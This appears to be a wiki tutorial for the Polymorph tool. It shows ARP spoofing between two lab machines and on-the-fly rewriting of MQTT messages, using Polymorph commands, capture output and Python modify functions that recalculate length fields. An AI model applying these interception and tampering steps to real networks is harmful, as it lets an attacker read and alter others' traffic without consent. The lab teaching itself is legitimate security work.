-
Notifications
You must be signed in to change notification settings - Fork 60
Case Study. Part 3: Structs
In the previous case study we have made an on-the-fly modification of ICMP network packets directed to the same machine (localhost). In this section, we are going to see another use case in which we will have two machines that exchange information through the MQTT network protocol and another machine with Polymorph installed. The aim of the exercise is to modify on the fly the information that is exchanged between the first two machines.
The environment used for the development of this case study is quite simple. On the one hand, we have two linux machines (192.168.71.130, 192.168.71.138) that will communicate through the MQTT protocol. In both machines we must install the utilities that allow us to make this communication:
sudo apt install mosquitto mosquitto-clients
On the other hand, we have the machine 192.168.71.131 that will have Polymorph installed and will be in charge of intercepting the communication between the other two and modifying on the fly the network traffic exchanged between them.
To test the communication by MQTT between the two machines (192.168.71.130, 192.168, 71, 138), from now on machine A and machine B, we open two terminals in machine A and we execute, on one hand, the command mosquitto
that will activate the broker in charge of establishing the communications, and, on the other hand, the command mosquitto_sub -t test
that will cause the machine to wait for messages directed to the topic test
.
In the machine B we open a terminal and we execute the command mosquitto_pub -t test -m hello -h 192.168.71.130
that will cause the sending of the message hello
to the machines subscribed under the topic test
.
If all went well, machine A should have received the hello
message. Our objective in this practical case will be to modify this message on the fly.
This practical case differs from the one presented in the previous section in that communication is not on the same machine but between two different machines. Therefore, in order for Polymorph to "see" the traffic exchanged between the two and modify it on the fly, we must intercept the communication. There are several ways of intercepting communication between two machines, one of the most common, and the one we are going to use in this practical case, is ARP poisoning. We can use this technique from Polymorph with the following command:
██████╗ ██████╗ ██╗ ██╗ ██╗███╗ ███╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔══██╗██╔═══██╗██║ ╚██╗ ██╔╝████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║ ██║
██████╔╝██║ ██║██║ ╚████╔╝ ██╔████╔██║██║ ██║██████╔╝██████╔╝███████║
██╔═══╝ ██║ ██║██║ ╚██╔╝ ██║╚██╔╝██║██║ ██║██╔══██╗██╔═══╝ ██╔══██║
██║ ╚██████╔╝███████╗██║ ██║ ╚═╝ ██║╚██████╔╝██║ ██║██║ ██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
< Santiago Hernandez Ramos >
PH > spoof -t 192.168.71.130 -g 192.168.71.138
[+] ARP spoofing started between 192.168.71.138 and 192.168.71.130
At this point, the network traffic exchanged between machines A and B passes through the machine on which Polymorph is installed (192.168.71.131), from now on machine C.
Once we are in the middle of the communication between machine A and machine B, the rest of the steps that we must follow are the same as those indicated in the previous case study. First we must capture a MQTT Publish network packet, which is the network packet that contains the message:
PH > capture -f mqtt
[+] Waiting for packets...
(Press Ctr-C to exit)
[+] Parsing packet: 4
[+] Parsing complete!
PH:cap > s
1 Template: ETH / IP / TCP / MQTT
2 Template: ETH / IP / TCP / MQTT
3 Template: ETH / IP / TCP / MQTT
4 Template: ETH / IP / TCP / MQTT
PH:cap > template 3
PH:cap/t3 > s
---[ ETH ]---
FT_ETHER dst = 00:0c:29:72:3c:22
FT_ETHER src = 00:0c:29:54:0d:00
FT_HEX type = 0x800
---[ IP ]---
FT_BIN_BE version = 4
FT_BIN_BE hdr_len = 5
FT_HEX dsfield = 0x2
FT_INT_BE len = 65
FT_HEX id = 0x8a44
FT_HEX flags = 0x4000
FT_INT_BE ttl = 64
FT_INT_BE proto = 6
FT_HEX checksum = 0xa013
FT_IPv4 src = 192.168.71.138
FT_IPv4 addr = 192.168.71.130
---[ TCP ]---
FT_INT_BE srcport = 50286
FT_INT_BE dstport = 1883
FT_HEX len = 0x80
FT_HEX seq = 0x7e4efe7b
FT_HEX ack = 0x532c2b04
FT_BIN_BE flags = 24
FT_INT_BE window_size_value= 229
FT_HEX checksum = 0x98e2
FT_INT_BE urgent_pointer= 0
FT_BYTES options = b'\x01\x01\x08\nP,\xc1\xa1\xe3\xf9\xb4;'
FT_BYTES payload = b'0\x0b\x00\x04testhello'
---[ MQTT ]---
FT_HEX hdrflags = 0x30
FT_INT_BE len = 11
FT_INT_BE topic_len = 4
FT_STRING topic = test
FT_BYTES msg = b'hello'
PH:cap/t3 >
And then we must add the functions
that are in charge of filtering and modifying on the fly this type of network packets:
def filter_mqtt_pub(packet):
try:
if packet["TCP"]["dstport"] == 1883:
if packet["MQTT"]["hdrflags"] == "0x30":
print("Topic:", packet["MQTT"]["topic"])
print("Msg:", packet["MQTT"]["msg"])
return packet
except:
return None
def mod_mqtt_pub(packet):
packet['MQTT']['msg'] = b'hhhhh'
print("New value inserted\n")
return packet
After adding the functions
, we execute the intercept
command in Polymorph to wait for a network packet with these characteristics to be sent and make the modification on the fly.
If everything goes well, when we send the hello
message again via MQTT between machine A and B, the modification will be made and machine B will receive the hhhhh
message.
PH:cap/t3 > intercept
[*] Waiting for packets...
(Press Ctrl-C to exit)
Topic: test
Msg: b'hello'
New value inserted
So far, there is not much variation from the case study seen in previous sections. However, in the case of ICMP network packets, the data
value was a fixed value that was always the same size, in this case, the msg
field can be modified by the user and therefore its value is variable. This means that the value of the msg
field received in the intercepted network packet in real time may differ from the one found in the generated template.
If we make a test with the exercise as we have it right now, and we modify the message sent by machine A to machine B so that it is hello how are you
instead of hello
:
mosquitto_pub -t test -m "hello how are you" -h 192.168.71.130
We will notice that Polymorph makes a modification, but does not modify the entire message:
santi@lubuntu:~$ mosquitto_sub -t test
hhhhh how are you
This is caused because the templates have static values that represent the position of the field in the network packet as a function of the captured network packet. In the captured network packet, the msg
field received the value hello
and therefore had a size of 5 bytes in that network packet.
To solve this type of problem, Polymorph implements the concept of struct
. These structures allow us to declare expressions that reevaluate the size of fields in real time. The structs
are associated with a field within a given layer within the template and require the name of the field to be recalculated, the beginning byte, and the expression that recalculates its size.
For our particular case of study, we can define a struct
for the msg
field in the following way:
PH:cap/t3 > layer mqtt
PH:cap/t3/MQTT > struct -f msg -sb "70 + this.topic_len" -e "this.len - 2 - this.topic_len"
[+] Struct added to field msg
PH:cap/t3/MQTT >
We can test if the struct
has been created correctly with the struct -t msg
command, which should return the value of the msg
field in the template.
PH:cap/t3/MQTT > struct -t msg
b'hello'
Once this struct
is added, the msg
field of the network packets intercepted in real time will be recalculated on the fly in the manner indicated before any action is taken on it.
It must be taken into account that if the original value is greater than the value inserted on the fly, we must recalculate other control fields of the packet, such as the len
field of the IP layer or the len
field of the MQTT layer.
The new function
mod_mqtt_pub would be the following:
def mod_mqtt_pub(packet):
# Calculating size difference
orig_size = len(packet['MQTT']['msg'])
new_value = b'hhhhh'
diff = len(new_value) - orig_size
# Inserting new values
packet['MQTT']['msg'] = new_value
packet['IP']['len'] += diff
packet['MQTT']['len'] += diff
print("New value inserted\n")
return packet
Once this function has been modified, we execute the intercept
command in Polymorph and generate the message hello how are you
from machine A to machine B.
PH:cap/t3 > intercept
[*] Waiting for packets...
(Press Ctrl-C to exit)
Topic: test
Msg: b'hello how are you'
New value inserted
After the execution we can see how Polymorph has been able to interpret the new value of the msg
field of the network packet intercepted on the fly and modify it to enter a smaller hhhhh
value that corresponds to the one received by machine B.
santi@lubuntu:~$ mosquitto_sub -t test
hhhhh
To save the template we can use the command save -p mqtt_template
.